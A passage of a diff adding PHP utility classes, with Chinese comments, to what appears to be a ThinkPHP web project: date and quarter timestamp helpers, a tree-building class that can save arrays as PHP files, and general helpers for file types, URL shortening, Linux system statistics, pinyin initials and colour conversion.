+    获取上周的开始时间和结束日期
+    return array
+    */
+    public static function get_last_week()
+    {
+        $curr = date("Y-m-d"); 
+        $w=date('w',time());//获取当前周的第几天 周日是 0 周一到周六是1-6  
+        $endTime=strtotime($curr.' -'.($w ? $w-1 : 6).' days');//获取本周开始日期,如果$w是0是周日:-6天;其它:$w-1天   
+        $startTime=strtotime(date('Y-m-d',strtotime(date('Y-m-d',$endTime)." -7 days")));
+        return [$startTime,$endTime];
+    }
+    
+    /**
+     * 根据时间戳计算当月天数
+     * @param
+     */
+    public static function getmonthdays($time)
+    {
+        $month = date('m', $time);
+        $year = date('Y', $time);
+        if (in_array($month, array('1', '3', '5', '7', '8', '01', '03', '05', '07', '08', '10', '12'))) {
+            $days = '31';
+        } elseif ($month == 2) {
+            if ($year % 400 == 0 || ($year % 4 == 0 && $year % 100 !== 0)) {
+                //判断是否是闰年  
+                $days = '29';
+            } else {
+                $days = '28';
+            }
+        } else {
+            $days = '30';
+        }
+        return $days;
+    }
+
+    /**
+     * 生成从开始时间到结束时间的日期数组
+     * @param type,默认时间戳格式
+     * @param type = 1 时,date格式
+     * @param type = 2 时,获取每日开始、结束时间
+     */
+    public static function dateList($start, $end, $type = 0)
+    {
+        if (!is_numeric($start) || !is_numeric($end) || ($end <= $start)) return '';
+        $i = 0;
+        //从开始日期到结束日期的每日时间戳数组
+        $d = array();
+        if ($type == 1) {
+            while ($start <= $end) {
+                $d[$i] = date('Y-m-d', $start);
+                $start = $start + 86400;
+                $i++;
+            }
+        } else {
+            while ($start <= $end) {
+                $d[$i] = $start;
+                $start = $start + 86400;
+                $i++;
+            }
+        }
+        if ($type == 2) {
+            $list = array();
+            foreach ($d as $k => $v) {
+                $list[$k] = getDateRange($v);
+            }
+            return $list;
+        } else {
+            return $d;
+        }
+    }
+
+    /**
+     * 获取指定日期开始时间与结束时间
+     */
+    public static function getDateRange($timestamp)
+    {
+        $ret = array();
+        $ret['sdate'] = strtotime(date('Y-m-d', $timestamp));
+        $ret['edate'] = strtotime(date('Y-m-d', $timestamp)) + 86400;
+        return $ret;
+    }
+
+    /**
+     * 生成从开始月份到结束月份的月份数组
+     * @param int $start 开始时间戳
+     * @param int $end 结束时间戳
+     */
+    public static function monthList($start, $end)
+    {
+        if (!is_numeric($start) || !is_numeric($end) || ($end <= $start)) return '';
+        $start = date('Y-m', $start);
+        $end = date('Y-m', $end);
+        //转为时间戳
+        $start = strtotime($start . '-01');
+        $end = strtotime($end . '-01');
+        $i = 0;
+        $d = array();
+        while ($start <= $end) {
+            //这里累加每个月的的总秒数 计算公式:上一月1号的时间戳秒数减去当前月的时间戳秒数
+            $d[$i] = $start;
+            $start += strtotime('+1 month', $start) - $start;
+            $i++;
+        }
+        return $d;
+    }
+
+    /**
+     * 将秒数转换为时间 (年、天、小时、分、秒)
+     * @param
+     */
+    public static function getTimeBySec($time)
+    {
+        $t='';
+        if (is_numeric($time)) {
+            $value = array(
+                "years" => 0, "days" => 0, "hours" => 0,
+                "minutes" => 0, "seconds" => 0,
+            );
+            if ($time >= 31556926) {
+                $value["years"] = floor($time / 31556926);
+                $time = ($time % 31556926);
+                $t .= $value["years"] . "年";
+            }
+            if ($time >= 86400) {
+                $value["days"] = floor($time / 86400);
+                $time = ($time % 86400);
+                $t .= $value["days"] . "天";
+            }
+            if ($time >= 3600) {
+                $value["hours"] = floor($time / 3600);
+                $time = ($time % 3600);
+                $t .= $value["hours"] . "小时";
+            }
+            if ($time >= 60) {
+                $value["minutes"] = floor($time / 60);
+                $time = ($time % 60);
+                $t .= $value["minutes"] . "分钟";
+            }
+            if ($time < 60) {
+                $value["seconds"] = floor($time);
+                $t .= $value["seconds"] . "秒";
+            }
+            return $t;
+        } else {
+            return (bool)FALSE;
+        }
+    }
+
+    /**
+     * 根据类型获取上一类型时间戳数组
+     */
+    public static function getLstTimeByType($type = 'today')
+    {
+        switch ($type) {
+            case 'yesterday' :
+                $timeArr = self::yesterday();
+                break;
+            case 'week' :
+                $timeArr = self::week();
+                break;
+            case 'lastWeek' :
+                $timeArr = self::lastWeek();
+                break;
+            case 'month' :
+                $timeArr = self::month();
+                break;
+            case 'lastMonth' :
+                $timeArr = self::lastMonth();
+                break;
+            case 'quarter' :
+                //本季度
+                $month = date('m');
+                if ($month == 1 || $month == 2 || $month == 3) {
+                    $daterange_start_time = strtotime(date('Y-01-01 00:00:00'));
+                    $daterange_end_time = strtotime(date("Y-03-31 23:59:59"));
+                } elseif ($month == 4 || $month == 5 || $month == 6) {
+                    $daterange_start_time = strtotime(date('Y-04-01 00:00:00'));
+                    $daterange_end_time = strtotime(date("Y-06-30 23:59:59"));
+                } elseif ($month == 7 || $month == 8 || $month == 9) {
+                    $daterange_start_time = strtotime(date('Y-07-01 00:00:00'));
+                    $daterange_end_time = strtotime(date("Y-09-30 23:59:59"));
+                } else {
+                    $daterange_start_time = strtotime(date('Y-10-01 00:00:00'));
+                    $daterange_end_time = strtotime(date("Y-12-31 23:59:59"));
+                }
+                $timeArr = array($daterange_start_time, $daterange_end_time);
+                break;
+            case 'lastQuarter' :
+                //上季度
+                $month = date('m');
+                if ($month == 1 || $month == 2 || $month == 3) {
+                    $year = date('Y') - 1;
+                    $daterange_start_time = strtotime(date($year . '-10-01 00:00:00'));
+                    $daterange_end_time = strtotime(date($year . '-12-31 23:59:59'));
+                } elseif ($month == 4 || $month == 5 || $month == 6) {
+                    $daterange_start_time = strtotime(date('Y-01-01 00:00:00'));
+                    $daterange_end_time = strtotime(date("Y-03-31 23:59:59"));
+                } elseif ($month == 7 || $month == 8 || $month == 9) {
+                    $daterange_start_time = strtotime(date('Y-04-01 00:00:00'));
+                    $daterange_end_time = strtotime(date("Y-06-30 23:59:59"));
+                } else {
+                    $daterange_start_time = strtotime(date('Y-07-01 00:00:00'));
+                    $daterange_end_time = strtotime(date("Y-09-30 23:59:59"));
+                }
+                $timeArr = array($daterange_start_time, $daterange_end_time);
+                break;
+            case 'year' :
+                $timeArr = self::year();
+                break;
+            case 'lastYear' :
+                $timeArr = self::lastYear();
+                break;
+            default :
+                $timeArr = self::today();
+                break;
+        }
+        return $timeArr;
+    }
+
+
+    /**
+     * 根据类型获取开始结束时间戳数组
+     * @param
+     */
+    public static function getTimeByType($type = 'today', $is_last = false)
+    {
+        $daterange_start_time_last_time='';
+        $daterange_end_time_last_time='';
+        $lastArr = [];
+        switch ($type) {
+            case 'yesterday' :
+                $timeArr = self::yesterday();
+                $lastArr = self::yesterday(1);
+                break;
+            case 'week' :
+                $timeArr = self::week();
+                $lastArr = self::lastWeek();
+                break;
+            case 'lastWeek' :
+                $timeArr = self::lastWeek();
+                $lastArr = self::lastWeek(1);
+                break;
+            case 'month' :
+                $timeArr = self::month();
+                $lastArr = self::lastMonth();
+                break;
+            case 'lastMonth' :
+                $timeArr = self::lastMonth();
+                $lastArr = self::lastMonth(1);
+                break;
+            case 'quarter' :
+                //本季度
+                $month = date('m');
+                if ($month == 1 || $month == 2 || $month == 3) {
+                    $daterange_start_time = strtotime(date('Y-01-01 00:00:00'));
+                    $daterange_end_time = strtotime(date("Y-03-31 23:59:59"));
+                } elseif ($month == 4 || $month == 5 || $month == 6) {
+                    $daterange_start_time = strtotime(date('Y-04-01 00:00:00'));
+                    $daterange_end_time = strtotime(date("Y-06-30 23:59:59"));
+                } elseif ($month == 7 || $month == 8 || $month == 9) {
+                    $daterange_start_time = strtotime(date('Y-07-01 00:00:00'));
+                    $daterange_end_time = strtotime(date("Y-09-30 23:59:59"));
+                } else {
+                    $daterange_start_time = strtotime(date('Y-10-01 00:00:00'));
+                    $daterange_end_time = strtotime(date("Y-12-31 23:59:59"));
+                }
+
+                //上季度
+                $month = date('m');
+                if ($month == 1 || $month == 2 || $month == 3) {
+                    $year = date('Y') - 1;
+                    $daterange_start_time_last_time = strtotime(date($year . '-10-01 00:00:00'));
+                    $daterange_end_time_last_time = strtotime(date($year . '-12-31 23:59:59'));
+                } elseif ($month == 4 || $month == 5 || $month == 6) {
+                    $daterange_start_time_last_time = strtotime(date('Y-01-01 00:00:00'));
+                    $daterange_end_time_last_time = strtotime(date("Y-03-31 23:59:59"));
+                } elseif ($month == 7 || $month == 8 || $month == 9) {
+                    $daterange_start_time_last_time = strtotime(date('Y-04-01 00:00:00'));
+                    $daterange_end_time_last_time = strtotime(date("Y-06-30 23:59:59"));
+                } else {
+                    $daterange_start_time_last_time = strtotime(date('Y-07-01 00:00:00'));
+                    $daterange_end_time_last_time = strtotime(date("Y-09-30 23:59:59"));
+                }
+                $timeArr = array($daterange_start_time, $daterange_end_time);
+                $lastArr = array($daterange_start_time_last_time, $daterange_end_time_last_time);
+                break;
+            case 'lastQuarter' :
+                //上季度
+                $month = date('m');
+                if ($month == 1 || $month == 2 || $month == 3) {
+                    $year = date('Y') - 1;
+                    $daterange_start_time = strtotime(date($year . '-10-01 00:00:00'));
+                    $daterange_end_time = strtotime(date($year . '-12-31 23:59:59'));
+                } elseif ($month == 4 || $month == 5 || $month == 6) {
+                    $daterange_start_time = strtotime(date('Y-01-01 00:00:00'));
+                    $daterange_end_time = strtotime(date("Y-03-31 23:59:59"));
+                } elseif ($month == 7 || $month == 8 || $month == 9) {
+                    $daterange_start_time = strtotime(date('Y-04-01 00:00:00'));
+                    $daterange_end_time = strtotime(date("Y-06-30 23:59:59"));
+                } else {
+                    $daterange_start_time = strtotime(date('Y-07-01 00:00:00'));
+                    $daterange_end_time = strtotime(date("Y-09-30 23:59:59"));
+                }
+                $timeArr = array($daterange_start_time, $daterange_end_time);
+                $lastArr = array($daterange_start_time_last_time, $daterange_end_time_last_time);
+                break;
+            case 'year' :
+                $timeArr = self::year();
+                $lastArr = self::lastYear();
+                break;
+            case 'lastYear' :
+                $timeArr = self::lastYear();
+                $lastArr = self::lastYear(1);
+                break;
+            default :
+                $timeArr = self::today();
+                $lastArr = self::yesterday();
+                break;
+        }
+        if ($is_last) {
+            return $lastArr;
+        } else {
+            return $timeArr;
+        }
+    }
+
+    /**
+     * 图表时间范围处理,按月/天返回时间段数组
+     *
+     * @param int $start 开始时间(时间戳)
+     * @param int $end 结束时间(时间戳)
+     * @return array
+     * @author Ymob
+     * @datetime 2019-11-18 09:25:09
+     */
+    public static function getTimeArray($start = null, $end = null)
+    {
+        if ($start == null || $end == null) {
+            $param = request()->param();
+            switch ($param['type']) {
+                // 本年
+                case 'year':
+                    $start = strtotime(date('Y-01-01'));
+                    $end = strtotime('+1 year', $start) - 1;
+                    break;
+                // 去年
+                case 'lastYear':
+                    $start = strtotime(date(date('Y') - 1 . '-01-01'));
+                    $end = strtotime('+1 year', $start) - 1;
+                    break;
+                // 本季度、上季度
+                case 'quarter':
+                case 'lastQuarter':
+                    $t = intval((date('m') - 1) / 3);
+                    $start_y = ($t * 3) + 1;
+                    $start = strtotime(date("Y-{$start_y}-01"));
+                    if ($param['type'] == 'lastQuarter') {  // 上季度
+                        $start = strtotime('-3 month', $start);
+                    }
+                    $end = strtotime('+3 month', $start) - 1;
+                    break;
+                // 本月、上月
+                case 'month':
+                case 'lastMonth':
+                    $start = strtotime(date('Y-m-01'));
+                    if ($param['type'] == 'lastMonth') {
+                        $start = strtotime('-1 month', $start);
+                    }
+                    $end = strtotime('+1 month', $start) - 1;
+                    break;
+                // 本周、上周
+                case 'week':
+                case 'lastWeek':
+                    $start = strtotime('-' . (date('w') - 1) . 'day', strtotime(date('Y-m-d')));
+                    if ($param['type'] == 'lastWeek') {
+                        $start = strtotime('-7 day', $start);
+                    }
+                    $end = strtotime('+7 day', $start) - 1;
+                    break;
+                // 今天、昨天
+                case 'today':
+                case 'yesterday':
+                    $start = strtotime(date('Y-m-d'));
+                    if ($param['type'] == 'yesterday') {
+                        $start = strtotime('-1 day', $start);
+                    }
+                    $end = strtotime('+1 day', $start) - 1;
+                    break;
+                default:
+                    if ($param['start_time'] && $param['end_time']) {
+                        $start = $param['start_time'];
+                        $end = $param['end_time'];
+                    } else {
+                        // 本年
+                        $start = strtotime(date('Y-01-01'));
+                        $end = strtotime('+1 year', $start) - 1;
+                    }
+                    break;
+            }
+        }
+
+        $between = [$start, $end];
+        $list = [];
+        $len = ($end - $start) / 86400;
+        // 大于30天 按月统计、小于按天统计
+        if ($len > 31) {
+            $time_format = '%Y-%m';
+            while (true) {
+                $start = strtotime(date('Y-m-01', $start));
+                $item = [];
+                $item['type'] = date('Y-m', $start);
+                $item['start_time'] = $start;
+                $item['end_time'] = strtotime('+1 month', $start) - 1;
+                $list[] = $item;
+                if ($item['end_time'] >= $end) break;
+                $start = $item['end_time'] + 1;
+            }
+        } else {
+            $time_format = '%Y-%m-%d';
+            while (true) {
+                $item = [];
+                $item['type'] = date('Y-m-d', $start);
+                $item['start_time'] = $start;
+                $item['end_time'] = strtotime('+1 day', $start) - 1;
+                $list[] = $item;
+                if ($item['end_time'] >= $end) break;
+                $start = $item['end_time'] + 1;
+            }
+        }
+
+        return [
+            'list' => $list,        // 时间段列表
+            'time_format' => $time_format,      // 时间格式 mysql 格式化时间戳
+            'between' => $between       // 开始结束时间
+        ];
+    }
+
+    /**
+     * 简化时间的展示,可传入时间戳或者日期
+     */
+    public static function simpleTime($time){
+        $time=is_string($time) ? strtotime($time) : $time;
+        if($time==0){
+            return "--";
+        }
+        $today=date("Y-m-d",$time);
+        $year=date("Y",$time);
+        if($today==date("Y-m-d",time())){
+            return date('H:i',$time);
+        }elseif($year==date("Y",time())){
+            return date('m-d H:i',$time);
+        }else{
+            return date('Y-m-d H:i',$time);
+        }
+    }
+
+    // 根据秒数获取时长
+    public static function getDuration($seconds) 
+    { 
+        $hour = floor($seconds / 3600); 
+        $min = floor(($seconds % 3600) / 60); 
+        $sec = $seconds % 60; 
+    
+        if ($hour > 0) { 
+            return $hour . "小时" . $min . "分" . $sec . "秒"; 
+        } elseif ($min > 0) { 
+            return $min . "分" . $sec . "秒"; 
+        } else { 
+            return $sec . "秒"; 
+        } 
+    } 
+    
+}

+ 172 - 0
extend/utils/Tree.php

@@ -0,0 +1,172 @@
+<?php
+
+namespace utils;
+
+
+class Tree
+{
+    public function createTreeByList($data, $pid = 0, $lv = 1, $idField = 'id', $pidField = 'pid', $child = 'tcd')
+    {
+        $tree = [];
+        foreach ($data as $k => $v) {
+            if ($v[$pidField] == $pid) {
+                $v['tlv']  = $lv;
+                $v[$child] = [];
+
+                $tcd = $this->createTreeByList($data, $v[$idField], $lv + 1, $idField, $pidField, $child);
+                if (!empty($tcd)) {
+                    $v[$child] = $tcd;
+                }
+                $tree[] = $v;
+            }
+        }
+        return $tree;
+    }
+
+
+    public function treeToList($tree, $ignore_tlv = 0)
+    {
+        $list = [];
+        foreach ($tree as $k => $v) {
+            if ($ignore_tlv == $v['tlv']) {
+                $list[] = $v;
+                continue;
+            }
+
+            $tcd = empty($v['tcd']) ? [] : $this->treeToList($v['tcd'], $ignore_tlv);
+
+            if (isset($v['tcd'])) {
+                unset($v['tcd']);
+            }
+
+            $list[] = $v;
+            foreach ($tcd as $child) {
+                $list[] = $child;
+            }
+        }
+        return $list;
+    }
+
+
+    public function createListByTree($tree, $name = 'name', $ignore_pid = -1, $prefix = '')
+    {
+        $list  = [];
+        $count = count($tree);
+
+        foreach ($tree as $k => $v) {
+            //名称前缀
+            if ($ignore_pid != $v['pid']) {
+                if ($k < $count - 1) {
+                    $v[$name] = $prefix . ' ├ ' . $v[$name];
+                    $tcd      = empty($v['tcd']) ? [] : $this->createListByTree($v['tcd'], $name, $ignore_pid, $prefix . ' │ ');
+                } else {
+                    $v[$name] = $prefix . ' ┕ ' . $v[$name];
+                    $tcd      = empty($v['tcd']) ? [] : $this->createListByTree($v['tcd'], $name, $ignore_pid, $prefix . '   ');
+                }
+            } else {
+                $v[$name] = $prefix . $v[$name];
+                $tcd      = empty($v['tcd']) ? [] : $this->createListByTree($v['tcd'], $name, $ignore_pid, $prefix);
+            }
+
+            if (isset($v['tcd'])) {
+                unset($v['tcd']);
+            }
+            $v['tcd'] = count($tcd);
+            $list[]   = $v;
+            foreach ($tcd as $child) {
+                $list[] = $child;
+            }
+        }
+        return $list;
+    }
+
+    //将数组保存文件
+    public function saveArrayToFile($file, $array, $topNote = '')
+    {
+        $str = $this->arrayToString($array);
+        $this->folders(dirname($file));
+
+        if ($topNote) {
+            $topNote = "/*" . $topNote . "*/\n\n";
+        }
+        return file_put_contents($file, "<?php \n" . $topNote . "return " . $str . ";");
+    }
+
+    private function arrayToString($array, $ref = '')
+    {
+        if (empty($array)) {
+            return '[]';
+        }
+
+        $nowrap = true;
+        $count  = count($array);
+
+        if ($count <= 8) {
+            foreach ($array as $k => $v) {
+                if (empty($v)) {
+                    continue;
+                }
+
+                if (!is_scalar($v)) {
+                    $nowrap = false;
+                    break;
+                }
+                if (is_string($k) && mb_strlen($k, 'utf-8') > 20) {
+                    $nowrap = false;
+                    break;
+                }
+                if (is_string($v) && mb_strlen($v, 'utf-8') > 60) {
+                    $nowrap = false;
+                    break;
+                }
+            }
+        } else {
+            $nowrap = false;
+        }
+
+        $str    = $nowrap ? "[" : "[\n";
+        $newref = $nowrap ? '' : $ref . '    ';
+
+        $i = 0;
+        foreach ($array as $k => $v) {
+            //key
+            if (is_string($k)) {
+                $str .= "$newref'$k' => ";
+            } else {
+                $str .= "{$newref}{$k} => ";
+            }
+            //value
+            if (is_array($v)) {
+                $str .= self::arrayToString($v, $ref . '    ');
+            } elseif (is_int($v) || is_float($v)) {
+                $str .= $v;
+            } elseif (is_string($v)) {
+                $str .= "'$v'";
+            } elseif (is_bool($v)) {
+                $str .= ($v ? 'true' : 'false');
+            } else {
+                //对象略
+                $str .= "''";
+            }
+            if ($i == $count - 1) {
+                $str .= $nowrap ? "" : "\n";
+            } else {
+                $str .= $nowrap ? ", " : ",\n";
+            }
+            $i++;
+        }
+
+        $str .= $nowrap ? "]" : $ref . "]";
+        return $str;
+    }
+
+    /**
+     * 创建文件夹
+     * @param $dir
+     * @return bool
+     */
+    public function folders($dir)
+    {
+        return is_dir($dir) || ($this->folders(dirname($dir)) && mkdir($dir));
+    }
+}

+ 316 - 0
extend/utils/Utils.php

@@ -0,0 +1,316 @@
+<?php
+/* file:常用函数、工具类函数封装的集合
+Created by wanghong<1204772286@qq.com>
+Date: 2021-02-24 */
+
+namespace utils;
+
+class Utils{
+
+    /*
+    * 文件根据类型进行分类
+    $ext -string 文件后缀
+    return -int
+    * */
+    public static function getFileType($ext){
+        $ext=strtolower($ext);
+        $image=['jpg','jpeg','png','bmp','gif'];
+        $radio=['mp3','wav','wmv','amr'];
+        $video=['mp4','3gp','avi','m2v','mkv','mov'];
+        $doc=['ppt','pptx','doc','docx','xls','xlsx','pdf','txt','md'];
+        if(in_array($ext,$doc)){
+            $fileType=1;
+        }elseif(in_array($ext,$image)){
+            $fileType=2;
+        }elseif(in_array($ext,$radio)){
+            $fileType=3;
+        }elseif(in_array($ext,$video)){
+            $fileType=4;
+        }else{
+            $fileType=9;
+        }
+        return $fileType;
+    }
+
+
+    /* 
+    获取文件的大小
+    */
+    public static function get_file_size($size, $limit = 0)
+    {
+        $units = array(' B', ' KB', ' MB', ' GB', ' TB');
+        for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
+        return round($size, 2) . $units[$i + $limit];
+    }
+
+    /* 
+    h5ip网址缩短
+    $link -string
+    return string
+    */
+    public static function h5ipUrl($link)
+    {
+        $url = "http://h5ip.cn/index/api?format=json&url=" . $link;
+        $data = json_decode(curl_request($url), true);
+        if ($data['code'] == 0) {
+            return $data['short_url'];
+        } else {
+            return $link;
+        }
+    }
+
+    /* 
+    linux系统探测
+    */
+    public static function sys_linux()
+    {
+        // CPU
+        if (false === ($str = @file("/proc/cpuinfo"))) return false;
+        $str = implode("", $str);
+        @preg_match_all("/model\s+name\s{0,}\:+\s{0,}([\w\s\)\(\@.-]+)([\r\n]+)/s", $str, $model);
+        @preg_match_all("/cpu\s+MHz\s{0,}\:+\s{0,}([\d\.]+)[\r\n]+/", $str, $mhz);
+        @preg_match_all("/cache\s+size\s{0,}\:+\s{0,}([\d\.]+\s{0,}[A-Z]+[\r\n]+)/", $str, $cache);
+        @preg_match_all("/bogomips\s{0,}\:+\s{0,}([\d\.]+)[\r\n]+/", $str, $bogomips);
+        if (false !== is_array($model[1])) {
+            $res['cpu']['num'] = sizeof($model[1]);
+            for ($i = 0; $i < $res['cpu']['num']; $i++) {
+                $res['cpu']['model'][] = $model[1][$i] . '&nbsp;(' . $mhz[1][$i] . ')';
+                $res['cpu']['mhz'][] = $mhz[1][$i];
+                $res['cpu']['cache'][] = $cache[1][$i];
+                $res['cpu']['bogomips'][] = $bogomips[1][$i];
+            }
+            if ($res['cpu']['num'] == 1)
+                $x1 = '';
+            else
+                $x1 = ' ×' . $res['cpu']['num'];
+            $mhz[1][0] = ' | 频率:' . $mhz[1][0];
+            $cache[1][0] = ' | 二级缓存:' . $cache[1][0];
+            $bogomips[1][0] = ' | Bogomips:' . $bogomips[1][0];
+            $res['cpu']['model'][] = $model[1][0] . $mhz[1][0] . $cache[1][0] . $bogomips[1][0] . $x1;
+            if (false !== is_array($res['cpu']['model'])) $res['cpu']['model'] = implode("<br />", $res['cpu']['model']);
+            if (false !== is_array($res['cpu']['mhz'])) $res['cpu']['mhz'] = implode("<br />", $res['cpu']['mhz']);
+            if (false !== is_array($res['cpu']['cache'])) $res['cpu']['cache'] = implode("<br />", $res['cpu']['cache']);
+            if (false !== is_array($res['cpu']['bogomips'])) $res['cpu']['bogomips'] = implode("<br />", $res['cpu']['bogomips']);
+        }
+        // NETWORK
+        // UPTIME
+        if (false === ($str = @file("/proc/uptime"))) return false;
+        $str = explode(" ", implode("", $str));
+        $str = trim($str[0]);
+        $min = $str / 60;
+        $hours = $min / 60;
+        $days = floor($hours / 24);
+        $hours = floor($hours - ($days * 24));
+        $min = floor($min - ($days * 60 * 24) - ($hours * 60));
+        if ($days !== 0) $res['uptime'] = $days . "天";
+        if ($hours !== 0) $res['uptime'] .= $hours . "小时";
+        $res['uptime'] .= $min . "分钟";
+
+        // MEMORY
+        if (false === ($str = @file("/proc/meminfo"))) return false;
+        $str = implode("", $str);
+        preg_match_all("/MemTotal\s{0,}\:+\s{0,}([\d\.]+).+?MemFree\s{0,}\:+\s{0,}([\d\.]+).+?Cached\s{0,}\:+\s{0,}([\d\.]+).+?SwapTotal\s{0,}\:+\s{0,}([\d\.]+).+?SwapFree\s{0,}\:+\s{0,}([\d\.]+)/s", $str, $buf);
+        preg_match_all("/Buffers\s{0,}\:+\s{0,}([\d\.]+)/s", $str, $buffers);
+
+        $res['memTotal'] = round($buf[1][0] / 1024, 2);
+        $res['memFree'] = round($buf[2][0] / 1024, 2);
+        $res['memBuffers'] = round($buffers[1][0] / 1024, 2);
+        $res['memCached'] = round($buf[3][0] / 1024, 2);
+        $res['memUsed'] = $res['memTotal'] - $res['memFree'];
+        $res['memPercent'] = (floatval($res['memTotal']) != 0) ? round($res['memUsed'] / $res['memTotal'] * 100, 2) : 0;
+        $res['memRealUsed'] = $res['memTotal'] - $res['memFree'] - $res['memCached'] - $res['memBuffers']; //真实内存使用
+        $res['memRealFree'] = $res['memTotal'] - $res['memRealUsed']; //真实空闲
+        $res['memRealPercent'] = (floatval($res['memTotal']) != 0) ? round($res['memRealUsed'] / $res['memTotal'] * 100, 2) : 0; //真实内存使用率
+        $res['memCachedPercent'] = (floatval($res['memCached']) != 0) ? round($res['memCached'] / $res['memTotal'] * 100, 2) : 0; //Cached内存使用率
+        $res['swapTotal'] = round($buf[4][0] / 1024, 2);
+        $res['swapFree'] = round($buf[5][0] / 1024, 2);
+        $res['swapUsed'] = round($res['swapTotal'] - $res['swapFree'], 2);
+        $res['swapPercent'] = (floatval($res['swapTotal']) != 0) ? round($res['swapUsed'] / $res['swapTotal'] * 100, 2) : 0;
+
+        // LOAD AVG
+        if (false === ($str = @file("/proc/loadavg"))) return false;
+        $str = explode(" ", implode("", $str));
+        $str = array_chunk($str, 4);
+        $res['loadAvg'] = implode(" ", $str[0]);
+        return $res;
+    }
+
+
+/**
+ * 将数组按字母A-Z排序
+ * @return [type] [description]
+ */
+public static function chartSort($array, $field,$isGroup=true,$chart='chart')
+{
+    $newArray = [];
+    foreach ($array as $k => &$v) {
+        $v[$chart] = self::getFirstChart($v[$field]);
+        $newArray[] = $v;
+    }
+    $data = [];
+    if($isGroup){
+        foreach ($newArray as $k => $v) {
+            if (array_key_exists($v[$chart], $data)) {
+                $data[$v[$chart]][] = $v;
+            } else {
+                $data[$v[$chart]] = [];
+                $data[$v[$chart]][] = $v;
+            }
+        }
+        ksort($data);
+    }else{
+       return $newArray;
+    }
+    return $data;
+}
+
+        /**
+     * 返回取汉字的第一个字的首字母
+     * @param  [type] $str [string]
+     * @return [type]      [strind]
+     */
+    public static function getFirstChart($str)
+    {
+        $str = str_replace(' ', '', $str);
+        if (empty($str)) {
+            return '#';
+        }
+        $char = ord($str[0]);
+        if ($char >= ord('A') && $char <= ord('z')) {
+            return strtoupper($str[0]);
+        }
+        $s1 = iconv('UTF-8', 'gb2312//IGNORE', $str);
+        $s2 = iconv('gb2312', 'UTF-8//IGNORE', $s1);
+        $s = $s2 == $str ? $s1 : $str;
+        $asc = ord($s{0}) * 256 + ord($s{1}) - 65536;
+        if ($asc >= -20319 && $asc <= -20284) return 'A';
+        if ($asc >= -20283 && $asc <= -19776) return 'B';
+        if ($asc >= -19775 && $asc <= -19219) return 'C';
+        if ($asc >= -19218 && $asc <= -18711) return 'D';
+        if ($asc >= -18710 && $asc <= -18527) return 'E';
+        if ($asc >= -18526 && $asc <= -18240) return 'F';
+        if ($asc >= -18239 && $asc <= -17923) return 'G';
+        if ($asc >= -17922 && $asc <= -17418) return 'H';
+        if ($asc >= -17417 && $asc <= -16475) return 'J';
+        if ($asc >= -16474 && $asc <= -16213) return 'K';
+        if ($asc >= -16212 && $asc <= -15641) return 'L';
+        if ($asc >= -15640 && $asc <= -15166) return 'M';
+        if ($asc >= -15165 && $asc <= -14923) return 'N';
+        if ($asc >= -14922 && $asc <= -14915) return 'O';
+        if ($asc >= -14914 && $asc <= -14631) return 'P';
+        if ($asc >= -14630 && $asc <= -14150) return 'Q';
+        if ($asc >= -14149 && $asc <= -14091) return 'R';
+        if ($asc >= -14090 && $asc <= -13319) return 'S';
+        if ($asc >= -13318 && $asc <= -12839) return 'T';
+        if ($asc >= -12838 && $asc <= -12557) return 'W';
+        if ($asc >= -12556 && $asc <= -11848) return 'X';
+        if ($asc >= -11847 && $asc <= -11056) return 'Y';
+        if ($asc >= -11055 && $asc <= -10247) return 'Z';
+        return "#";
+    }
+
+    /**
+     * 人民币转大写
+     * @param
+     */
+    function cny($ns)
+    {
+        static $cnums = array("零", "壹", "贰", "叁", "肆", "伍", "陆", "柒", "捌", "玖"),
+        $cnyunits = array("圆", "角", "分"),
+        $grees = array("拾", "佰", "仟", "万", "拾", "佰", "仟", "亿");
+        list($ns1, $ns2) = explode(".", $ns, 2);
+        $ns2 = array_filter(array($ns2[1], $ns2[0]));
+        $ret = array_merge($ns2, array(implode("", _cny_map_unit(str_split($ns1), $grees)), ""));
+        $ret = implode("", array_reverse(_cny_map_unit($ret, $cnyunits)));
+        return str_replace(array_keys($cnums), $cnums, $ret);
+    }
+
+    function _cny_map_unit($list, $units)
+    {
+        $ul = count($units);
+        $xs = array();
+        foreach (array_reverse($list) as $x) {
+            $l = count($xs);
+            if ($x != "0" || !($l % 4)) {
+                $n = ($x == '0' ? '' : $x) . ($units[($l - 1) % $ul]);
+            } else {
+                $n = is_numeric($xs[0][0]) ? $x : '';
+            }
+            array_unshift($xs, $n);
+        }
+        return $xs;
+    }
+
+     /**
+     * 解析获取php.ini 的upload_max_filesize(单位:byte)
+     * @param $dec int 小数位数
+     * @return float (单位:byte)
+     * */
+    public static function get_upload_max_filesize_byte($dec = 2)
+    {
+        $max_size = ini_get('upload_max_filesize');
+        preg_match('/(^[0-9\.]+)(\w+)/', $max_size, $info);
+        $size = $info[1];
+        $suffix = strtoupper($info[2]);
+        $a = array_flip(array("B", "KB", "MB", "GB", "TB", "PB"));
+        $b = array_flip(array("B", "K", "M", "G", "T", "P"));
+        $pos = $a[$suffix] && $a[$suffix] !== 0 ? $a[$suffix] : $b[$suffix];
+        return round($size * pow(1024, $pos), $dec);
+    }
+
+    /**
+     * 十六进制 转 RGB
+     */
+    public static function hex2rgb($hexColor)
+    {
+        $color = str_replace('#', '', $hexColor);
+        if (strlen($color) > 3) {
+            $rgb = array(
+                'r' => hexdec(substr($color, 0, 2)),
+                'g' => hexdec(substr($color, 2, 2)),
+                'b' => hexdec(substr($color, 4, 2))
+            );
+        } else {
+            $color = $hexColor;
+            $r = substr($color, 0, 1) . substr($color, 0, 1);
+            $g = substr($color, 1, 1) . substr($color, 1, 1);
+            $b = substr($color, 2, 1) . substr($color, 2, 1);
+            $rgb = array(
+                'r' => hexdec($r),
+                'g' => hexdec($g),
+                'b' => hexdec($b)
+            );
+        }
+        return $rgb;
+    }
+
+    /**
+     * RGB转 十六进制
+     * @param $rgb RGB颜色的字符串 如:rgb(255,255,255);
+     * @return string 十六进制颜色值 如:#FFFFFF
+     */
+    public static function RGBToHex($rgb){
+        $regexp = "/^rgb\(([0-9]{0,3})\,\s*([0-9]{0,3})\,\s*([0-9]{0,3})\)/";
+        $re = preg_match($regexp, $rgb, $match);
+        $re = array_shift($match);
+        $hexColor = "#";
+        $hex = array('0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F');
+        for ($i = 0; $i < 3; $i++) {
+            $r = null;
+            $c = $match[$i];
+            $hexAr = array();
+            while ($c > 16) {
+                $r = $c % 16;
